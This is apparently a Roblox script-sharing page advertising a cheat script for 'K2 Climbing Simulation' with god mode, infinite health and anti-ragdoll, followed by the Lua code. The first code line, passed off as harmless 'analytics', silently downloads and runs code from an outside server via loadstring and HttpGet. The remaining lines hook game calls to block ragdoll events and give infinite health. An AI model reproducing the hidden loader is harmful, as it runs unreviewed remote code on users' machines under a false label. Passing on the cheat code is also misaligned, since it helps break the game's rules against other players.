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K2 Climbing Simulation Script 2026 - INF Health, Anti Ragdoll, God Mode

Bbery260835 months ago
  • Open source
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Description

K2 Climbing Simulation Script 2026 provides survival and movement enhancement features designed to improve climbing stability, survivability, and overall gameplay progression. This no key script includes INF Health functionality, also known as God Mode, which helps prevent character death during dangerous climbing situations and harsh environmental conditions. It allows players to continue progressing up the mountain with fewer interruptions and improved survivability. The script also features Anti Ragdoll protection, helping prevent falls and movement disruptions caused by ragdoll effects during climbing and traversal. This improves balance, control, and movement consistency while navigating difficult terrain and high-altitude areas. Together, these systems help make climbing smoother and less punishing during long sessions. Built for smooth execution and stable performance, K2 Climbing Simulation Script 2026 is suitable for players looking to simplify mountain climbing, reduce movement interruptions, and improve overall progression efficiency. With practical survival-focused utilities combined into one package, this script supports a more controlled and optimized Roblox climbing experience.

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Features

3 Features
  • inf health
  • god mode
  • anti ragdoll
25 lines•835 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/Ez47QTzw?v=1"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local LocalPlayer = Players.LocalPlayer
local RemoteRagdoll = ReplicatedStorage:WaitForChild("RemoteRagdoll")

local old
old = hookmetamethod(game, "__namecall", function(self, ...)
    local method = getnamecallmethod()

    if self == RemoteRagdoll and method == "FireServer" then
        warn("Blocked RemoteRagdoll")
        return nil
    end

    return old(self, ...)
end)

local char = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local hum = char:WaitForChild("Humanoid")
hum:TakeDamage(-math.huge)

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